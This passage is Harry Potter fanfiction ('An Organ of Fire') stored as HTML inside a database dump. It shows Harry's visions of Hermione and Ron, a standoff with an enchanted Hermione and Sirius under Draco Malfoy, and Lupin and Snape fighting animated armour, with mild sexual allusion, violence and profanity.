</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She sounded different with Ron.&nbsp; He was torn between male pride that he could bring out something\ndifferent in her than Ron had....and the panic that perhaps what she had felt\nwith Ron was better than anything he could give her.&nbsp; Harry fought this battle in his head until the sounds began to\nslow down.&nbsp; Groans gave way to sighs and\nsighs culminated in a long period of silence, save for the gradual descent of\nheavy breathing.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Just when Harry thought the nightmare might be over, she\nspoke.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'ve been thinking.&nbsp;\nAbout what you said earlier.&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">There was the moist sound of lips pressing against skin in a\nsoft kiss.&nbsp; &quot;Refresh my memory,\nlove.&nbsp; I seem to have lost\nit.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She laughed, a noise that hurt Harry worse than her moans of\npleasure.&nbsp; &quot;You asked me to marry\nyou.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh yeah...&quot;&nbsp;\nThe sheets rustled.&nbsp; &quot;I did,\ndidn\'t I?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yes.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He could hear Ron fluffing up a pillow.&nbsp; &quot;So, what do you say?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I just said it.&nbsp;\nAre you going to make me repeat it again, Ronald Weasley?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Instead of joy, a pause followed this.&nbsp; &quot;Hermione.&nbsp; I need you to be sure about this.&nbsp; Because I am.&nbsp; I am so\nserious about this...like I haven\'t ever been about anything else in my\nlife.&nbsp; But if you need more\ntime...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I don\'t need anymore time.&quot;&nbsp; Hermione cleared her throat delicately.&nbsp; &quot;He\'s not coming back, Ron.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You don\'t know that.&nbsp;\nHe could walk through that door right now and...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She cut him off firmly.&nbsp;\n&quot;No, he won\'t.&nbsp; His life has\ngone on.&nbsp; Now it\'s time for my life to,\nas well.&quot;&nbsp; More sheets\nrustled.&nbsp; &quot;Do you love me?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I do,&quot; he whispered.&nbsp; &quot;You and little Harry...so much.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;We love you, too.&nbsp;\nI love...&quot;&nbsp; She\nstopped.&nbsp; &quot;...the sound of\n\'Hermione Weasley\'.&nbsp; Don\'t\nyou?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I don\'t know.&nbsp;\nSounds rather like a rare sort of rash to me.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry closed his eyes at the soft thump of her pillow\nagainst Ron\'s face.&nbsp; There was laughter,\nloud and joyous.&nbsp; And\nthen....quiet.&nbsp; His eyes opened\ntentatively.&nbsp; But instead of the floral\nwallpaper, all he saw was dull white plaster.&nbsp;\nHe frowned.&nbsp; What was going on\nnow?&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A scream shattered the silence and he whipped around.&nbsp; The four-poster love nest had been replaced\nwith a metal-lined operating table.&nbsp;\nPeople in white scrubs milled about it, as oblivious to him as Ron and\nHermione had been.&nbsp; Harry\'s head\nthrobbed from the buzz of voices and the series of low, painful cries.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The crowd of medical personnel parted and Harry caught a\nglimpse of what their attention was focused on...and the source of the\nscreaming.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hermione...&quot;&nbsp;\nHe moved forward, but only made it a few steps closer before his feet\nrefused to do his bidding.&nbsp; Frozen to\nthe spot, Harry watched the labor he had never known was taking place when it\nhad.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was hard to look past the blood-rush of red on her face,\nthe glistening sweat, the corded throat muscles and see his beautiful Hermione,\nbut she was there even through the trial of creating life.&nbsp; He tore his stare away from her and looked\naround.&nbsp; Ron\'s face wasn\'t among those\nattending to her.&nbsp; She was alone in a\nsea of unfamiliar doctors and nurses.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;All right, sweetie, relax,&quot; one of them told\nher.&nbsp; &quot;You\'re doing just\ngreat.&nbsp; Won\'t be much longer.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">There were tears on her cheeks now, mixing with the sweat to\ndrip down her slender neck.&nbsp; &quot;It\nhurts...&quot; she cried.&nbsp; &quot;It\nreally hurts...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I know.&quot;&nbsp;\nThe same nurse blotted her forehead.&nbsp;\n&quot;But it\'s worth it.&nbsp; You\'ll\nsee.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione shook her head from side to side against the\nhospital pillows.&nbsp; &quot;I want...&nbsp; I want...&quot;&nbsp; She seemed unable to get the words out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What, love?&nbsp;\nIce chips?&nbsp; Do you need to use\nthe loo?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I want Harry.&quot;&nbsp;\nHer sobs turned into whimpers.&nbsp;\n&quot;I want Harry.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Was it possible to feel one\'s own heart breaking inside\none\'s chest?&nbsp; Harry Potter now believed\nso.&nbsp; His lay in a million pieces,\nshattered by the impossible weight of guilt and remorse.&nbsp; He hadn\'t been there when she had needed\nhim.&nbsp; It was as simple and as damning as\nthat.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The nurse stood up.&nbsp;\n&quot;The young man outside?&nbsp;\nI\'ll get him for you.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione tried to stop her, but she was already gone.&nbsp; A moment later, she returned with a very\nworried Ron.&nbsp; He was dressed haphazardly\nin Muggle clothes and looked as out of place as an apple in a bowl of\noranges.&nbsp; Harry watched him go to her\nand take her hand.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hermione, it\'s okay.&nbsp;\nShh...&quot;&nbsp; He bent down to\nkiss her damp brow.&nbsp; &quot;Don\'t\ncry...please, don\'t cry.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron folded her hand up in both of his.&nbsp; &quot;I\'m sorry.&nbsp; I know I\'m not him.&nbsp; But\nI\'m here.&nbsp; I won\'t go anywhere; I\npromise.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her sobs slowed and her entire, tortured body relaxed as\nmuch as it could.&nbsp; Harry shut his eyes\nagain, for all the good it would do.&nbsp;\nWhen he opened them again, the scene had changed once more.&nbsp; The hospital room had been replaced by\nanother bedroom, a child\'s bedroom similar to little Harry\'s at Hogwarts.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His head had throbbed before; now it pounded.&nbsp; There seemed to be no order to these\nmemories that were being forced onto him.&nbsp;\nThis room\'s bed was narrow, just big enough for a child, but when he\nreally focused, he could see Hermione and their son lying on it, wrapped in a\nmaternal embrace.&nbsp; He was close enough\nto see tearstains on their faces.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\'s chin rested on the boy\'s rusty locks.&nbsp; &quot;Ron wanted me to pick another\nname.&nbsp; Joseph or William or Ted.&nbsp; Something...that was yours only.&nbsp; But I wanted \'Harry\'.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Why, Mum?&quot;&nbsp;\nThe boy\'s voice sounded even younger.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'ve always liked the name,&quot; she replied a second\nlater.&nbsp; &quot;But whatever you were\ncalled, he loved you from the first time he held you.&nbsp; You have to know that, Harry.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Little Harry nodded against the swell of her chest.&nbsp; &quot;I do.&quot;&nbsp; He sniffed.&nbsp; &quot;Mum...I\ndon\'t want to go to the funeral tomorrow.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It\'s up to you.&quot;&nbsp;\nHermione\'s eyes shut from grief and exhaustion.&nbsp; &quot;But let me ask you this. &nbsp;Would you want your dad to come and say\ngoodbye to you?&quot;&nbsp; When her son\nnodded, she opened them again.&nbsp;\n&quot;Then...I think you know what\'s best.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I just don\'t want to put him in the ground on that\ncliff,&quot; little Harry explained.&nbsp;\n&quot;We won\'t be able to go to see him whenever we want.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She rocked him as she spoke, &quot;We\'re going to be with\nhim from now on.&nbsp; He\'ll be at\nHogwarts...and so will we.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I miss him, Mum!&quot;&nbsp; The boy turned his face into his mother\'s neck, little sobs\nracking his thin frame.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\'s own tears came, fresh and hot.&nbsp; &quot;I miss him, too.&nbsp; I miss...a lot of things...that I can\'t ever\nhave again.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Damn you to hell,&quot; Harry cursed between his\nteeth.&nbsp; &quot;Malfoy...I swear...I will\nkill you and I will enjoy it.&nbsp; Do you\nhear me?!!&quot;&nbsp; He spread his\narms.&nbsp; &quot;Are you getting off on\nthis?!&nbsp; Stringing me through time like\nyour fucking puppet?!!&nbsp; Making me\nsee...&quot;&nbsp; Harry\'s face scrunched up\nin emotional anguish.&nbsp; Chunks of his\nsoul had been ripped away from him.&nbsp;\n&quot;Making me see....what I made happen.&quot;&nbsp; His hands clutched his knees as he tried to\nkeep from crumpling to the ground.&nbsp;\nDoubled over, it was all Harry could do to keep air going in and out of\nhis lungs.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When he finally managed to straighten, he looked up as\nthough he were caught in a plastic bubble and his tormentor was looking down at\nhim.&nbsp; &quot;Show\'s over,&quot; he\ngrowled.&nbsp; &quot;The puppet\'s done\ndancing.&nbsp; If you want to fight,\nfight.&nbsp; Quit hiding behind your powers\nand face me.&nbsp; Do you hear me, you\nfucking prat?!&nbsp; Come out and fight\nme!!!&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The last words were screamed with so much fervor that Harry\ncouldn\'t see straight for several seconds.&nbsp;\nAnd then, when he could, he wished he couldn\'t again.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He wasn\'t in any bedroom or hospital delivery room.&nbsp; Neither was he in the corridor any\nlonger.&nbsp; He was now in a long hall, warm\nfrom twin fires burning at either end.&nbsp;\nAnd he was no longer alone.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Welcome,&quot; a coldly amused voice greeted him.&nbsp; Before he could blink, the owner of the\nvoice stepped out of the shadows.&nbsp;\n&quot;We\'ve been waiting for you.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\'s first instinct was to raise his wand, but Malfoy was\nquicker.&nbsp; With a wave of his hand, he\nfroze Harry\'s arm at a ninety degree angle to his body.&nbsp; &quot;Play nice,&quot; Draco warned.&nbsp; &quot;Or else you won\'t get your\nsurprise.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Where\'s Hermione?&nbsp;\nI want to see Hermione and I want to see my godfather and I want to see\nthem right now,&quot; Harry hissed, struggling to move his petrified arm.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;By all means.&quot;&nbsp;\nDraco stepped aside with a great sweeping gesture fanning his robes\naround his body.&nbsp; Behind him, Harry\ncould see what he had requested to see.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sirius was holding Hermione\'s limp body.&nbsp; He didn\'t move, didn\'t even blink until\nDraco motioned to him.&nbsp;\n&quot;Sirius...wake her up.&nbsp;\nWe\'ve got company.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Too confused to have any sort of reaction, Harry was once\nagain thrust into the role of witness as Sirius shook Hermione until she\nstirred.&nbsp; He set her down on her feet;\nshe rubbed her eyes and looked down the length of the room towards Harry.&nbsp; &quot;What is he doing here?&quot; she\nasked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco held out his hand to her.&nbsp; &quot;He\'s come to rescue you.&quot;&nbsp; A moment passed like hours for Harry.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione took his offered hand and molded the length of her\nside against his, clinging to him like he was the last piece of flotsam in a\nstormy sea.&nbsp; &quot;I don\'t need to be\nrescued.&nbsp; Harry Potter...go home.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">To Be Continued</p>\n\n\n\n\n\n\n'),
	(93, 21, '\n\n\n\n<p class="MsoNormal">Disclaimer:&nbsp;\nCharacters and universe belong to JK Rowling and several large\npublishing companies and film houses with much more money and many more lawyers\nthan I could ever hope to have.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Author\'s Notes:&nbsp; I\ncouldn\'t pick who had the most creative Malfoy death, cause they were all fun\nto think about, so I decided to give everyone who\'s ever reviewed this story a\ngold star.&nbsp; Thank you so much; you\'ve\nmade me want to keep writing during some times when I\'ve felt like giving\nup.&nbsp; I hope you keep tuning in and\nenjoying, no matter what;)&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Oh, and it\'s been noted that I\'ve switched Lupin and Black\'s\npersonalities from what we see in the books.&nbsp;\nI figure that Azkaban permenantly changed Sirius; he will never be\nJames\' fun-loving, prankster friend again.&nbsp;\nAnd in this story, I\'ve given Lupin a whole new lease on life and a\nwoman in America who loves him.&nbsp;\nTherefore, he can let the playful parts of his own personality out.&nbsp; That\'s all my justifications anyways.&nbsp; Hopefully, it\'s mildly believable;)&nbsp; On with the story!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">An Organ of Fire</p>\n\n<p class="MsoNormal">by Kristen Elizabeth</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He had just been thinking that what they really needed were\nswords.&nbsp; Against the ever-regenerating\narmy of silver soldiers, he and Severus had only their wits and their\nwands.&nbsp; Weapons in their own right,\nsurely, but now that it was only the two of them and Harry had disappeared into\nthe darkness of the manor, they required something a little more substantial to\nkeep Malfoy\'s diversion at bay.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A sword.&nbsp; Just what\nLupin wanted at that exact moment.&nbsp; And\nit was a sword that he received...only through the sinewy flesh of his left\nshoulder.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Fuck!!&quot; he screamed, reflexively grasping the\nprotruding blade for balance.&nbsp; With his\nfoot, he pushed away the suit of armor attached to it.&nbsp; &quot;Severus...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Snape hit the suit with a quick spell; it disintegrated\nbefore their eyes.&nbsp; &quot;Are you\nhurt?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I have a fucking sword through my shoulder!!&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Instead of sympathy, he got calm thinking even as the other\nwizard kept fighting back the suits.&nbsp;\n&quot;How deep is it?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lupin could already feel sweat gathering on his forehead;\nthe pain was incredible.&nbsp; &quot;Deep\nenough.&quot;&nbsp; He forced himself to draw\nin a huge breath.&nbsp; &quot;But not all the\nway through, I don\'t think.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Snape glanced at him before returning his attention to their\nenemy.&nbsp; &quot;Pulling it out might do\nmore damage than the blade itself.&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Do you suggest I spend the rest of my life with\nthis...accessory?&quot;&nbsp; Lupin stumbled;\nwith the sword plugging up the wound, only a small amount of blood soaked his\nrobes, but it was enough to begin affecting his equilibrium.&nbsp; &quot;It\'s gotta come out,\nSeverus...&quot;&nbsp; He gestured with his\ngood hand.&nbsp; &quot;You need my\nhelp.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Snape snorted.&nbsp;\n&quot;I need no one\'s help.&quot;&nbsp;\nPausing to muster as much energy as possible, he lunged forward with his\nwand.&nbsp; &quot;Adsulto\ncircumvado!&quot;&nbsp; The remaining suits\nexploded in time with one another, sending showers of sparks onto the two\nwizards.&nbsp; A second later, there was\nsilence.&nbsp; They were alone again in\nMalfoy Manor.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Momentarily forgetting his shoulder, Lupin gave his old\nschoolmate an amazed look.&nbsp; &quot;Saving\nthat one up, were you?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It\'s been years since I\'ve been in a good\nbattle.&quot;&nbsp; Snape pocketed his wand\nand reached for the sword.&nbsp; &quot;Brace\nyourself.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I thought you said...&quot;&nbsp; He gritted his teeth against the burning pain.&nbsp; &quot;...this would be...a bad\nidea.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Snape shrugged.&nbsp;\n&quot;If you want to keep it as a souvenir, that\'s fine with\nme.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I didn\'t mean that,&quot; Lupin snapped back.&nbsp; His knees felt weak, but he would be damned\nbefore he let Severus Snape see him falter.&nbsp;\n&quot;Just...take it easy.&nbsp;\nSlow.&nbsp; Bit by bit\nand...&quot;&nbsp; His word ended in an\nanimalistic roar of pain as Snape yanked the sword out of his shoulder and\nimmediately squeezed the torn flesh to stop the fresh flow of blood.&nbsp; &quot;Fuck!!&nbsp; You goddamn, bloody son of a...I told you to go slow!!&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;We don\'t have the time.&quot;&nbsp; Snape reached into his robes and withdrew a\ntiny vial of yellowish liquid.&nbsp; He pushed\naside the blood-soaked layers of Lupin\'s robes to get at the wound and when he\nhad a clear view, he let a few drops of the liquid fall directly into it.&nbsp; &quot;This will close it up for now.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lupin couldn\'t believe how quickly the pain faded to a dull throb.&nbsp; &quot;What is that stuff?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Just something handy to have around.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You know...you\'re a slimy git...&quot;&nbsp; He had a hard time pushing out the next\nwords.&nbsp; Childhood convictions were hard\nto overcome, even as a seasoned adult.&nbsp;\n&quot;But you\'re not half bad to have around in a battle.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You\'re welcome.&quot;&nbsp;\nSnape\'s reply was prosaic; he returned the vial to his pockets and took\nout his wand.&nbsp; &quot;Can you move your\narm?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;A little.&quot;&nbsp;\nLupin winced as he demonstrated, all the while looking up and down the\nhallway.&nbsp; &quot;Should we go the\ndirection Harry took?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The other man shook his head.&nbsp; &quot;It would be useless to try and catch up to him\nnow.&quot;&nbsp; He pointed to the path Harry\nhadn\'t taken.&nbsp; &quot;We\'ll go this\nway.&nbsp; It\'ll get us there.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Get us where?&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;The light we saw...it could only be coming from the\nmain hall.&nbsp; That\'s where we\'ll find\nthem.&quot;&nbsp; Snape started walking, not\nbothering to check and see if his companion was following.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lupin jogged to keep up, holding one hand over his\nwound.&nbsp; The blood had been stopped and\nthe pain minimized, but it was still raw flesh, open and exposed to the cool\nair.&nbsp; &quot;You might\'ve told Harry\nthat.&nbsp; Made it easier on him.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I didn\'t think of it at the time,&quot; Snape replied,\nalmost regretfully.&nbsp; &quot;There\'s a\nsecret passage.&nbsp; Lucius showed me once;\nit was designed for shelter in ancient times if the manor ever came under\nattack.&nbsp; If it\'s not been boarded up,\nit\'ll take us straight there.&nbsp; We can\ncatch Draco by surprise.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;And where exactly in the hall does this passage open\nup?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Snape hesitated.&nbsp;\n&quot;The fireplace.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Brilliant,&quot; Lupin muttered, still following the\npotions master.&nbsp; &quot;I\'ve been stabbed\nalready.&nbsp; What\'s a few third-degree\nburns to round out the evening?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He couldn\'t stop remembering the last night they had spent\ntogether, the night before the Dark Mark appeared over Hogwarts, the night\nLupin had reappeared in their lives and everything had seemed like it might\neventually be all right once again.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The light of the full moon had woken them up.&nbsp; Pure, white luminescence shining through the\nwindow, creeping up and over their sleeping bodies until it urged them to open\ntheir eyes.&nbsp; She had never looked more\nbeautiful than she did when caught up in its glow, her hair spread out over her\npillow.&nbsp; Her tongue had circled her\nlips, wetting them, making them glisten.&nbsp;\nHe hadn\'t been able to hold himself back, hadn\'t wanted to.&nbsp; Her arms had opened to him and he took the\ninvitation with pleasure.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She couldn\'t hide anything from him when they were joined\nlike that; her face was always a page on which everything going through her\nmind was plainly displayed.&nbsp; He read her\nlike she would devour a book.&nbsp; Harry\ncould never tear his eyes away from hers until it was absolutely necessary,\nwhen they both came to the edge of the cliff and there was nothing to do but\ncling to one another and tumble over it.&nbsp;\nConsequently, he had memorized every expression her lovely face could\npossibly compose.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">So he knew two things right away.&nbsp; The person clinging to their worst enemy was definitely Hermione.\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">But looking at her in the moments after he was drawn into\nMalfoy\'s presence was like looking at a stranger with the face of someone you\nused to know.&nbsp; Everything about the\nperson standing in front of Harry was his Hermione.&nbsp; Her thick hair, her petal-soft skin, the smattering of freckles\nacross her nose.&nbsp; But her eyes...&nbsp; He was familiar with every thread of color\nset into her irises, every fleck of gold, every twinkle.&nbsp; He shivered when her blank stare met\nhis.&nbsp; Everything he knew so well was\ngone.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her eyes alone told him the other thing.&nbsp; This was no act.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Why don\'t you have a seat, Potter,&quot; Draco said,\npeeling Hermione away from his body.&nbsp; He\nsnapped his fingers and a chair materialized directly behind Harry, knocking\ninto the backs of his knees and sending him flopping down into the seat.&nbsp; He moved to stand up again, but Draco was\ntoo quick.&nbsp; Harry felt the Binding Spell\ntake ahold of him like invisible shackles keeping his legs and arms\nmotionless.&nbsp; &quot;There.&nbsp; That\'s better.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry struggled.&nbsp; He\nthought he had felt rage before, but nothing compared to this new twist in\nMalfoy\'s perverted game.&nbsp; &quot;Undo\nwhatever you\'ve done to them,&quot; he said, his voice low.&nbsp; &quot;It\'s me you want.&nbsp; Not them.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;That\'s where you\'d be wrong.&quot;&nbsp; Draco cupped Hermione\'s chin in the palm of\nhis hand; she smiled at him.&nbsp; &quot;I\'m\nenjoying my new toys.&nbsp; They\'re fun to\nplay with.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Don\'t touch her again,&quot; Harry warned him.&nbsp; His stare cut into the other wizard like\ncold, green glass.&nbsp; &quot;Get your hands\noff of her, Malfoy.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;But she likes it so much...&quot;&nbsp; He released her with a hard pat to her\ncheek.&nbsp; Hermione just kept smiling.&nbsp; &quot;Enough of that.&quot;&nbsp; Draco approached Harry\'s chair.&nbsp; &quot;So...why have I gone through all this\ntrouble just to bring you here tonight?&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry lifted his shoulders as much as he could.&nbsp; &quot;Overcompensating for\nsomething?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You\'d like to think that, wouldn\'t you?&quot; Draco\nshot back.&nbsp; &quot;Ah, well.&nbsp; It doesn\'t matter.&nbsp; You\'ll know soon enough.&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Know what?&quot; Harry asked, laughing suddenly.&nbsp; &quot;What is there to find out?&nbsp; I already know that you\'re a jealous,\nspoiled little wizard dressed up in robes that are too big for you.&nbsp; You can\'t be your own person, so you\'ve\nlatched onto Voldemort\'s persona.&nbsp; You\nthink you\'re being clever by enchanting my godfather and my...my best\nfriend.&quot;&nbsp; He paused.&nbsp; &quot;I can feel sorry for you for all of\nthat, Malfoy.&nbsp; That you feel this\nintense need to prove yourself to me.&nbsp;\nBut what you did to Ron...that\'s what you\'ll pay for.&nbsp; Because don\'t think your little binding\nspell is going to keep me down for long.&nbsp;\nI\'ve faced evil and you couldn\'t come even close to its depths if you\ntried for another hundred years.&quot;&nbsp;\nHis hair fell over his forehead; to look up at Malfoy, he had to peer\nthrough it.&nbsp; &quot;Why don\'t you just\ngrow up?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The speech was intended to bait Malfoy, but all he did was\nplant a hand on each of the arms of the chair Harry had been forced into.&nbsp; He leaned in until his nose almost touched\nHarry\'s.&nbsp; &quot;Just wait.&nbsp; When the time is right...you\'re going to\nchoke on those words.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 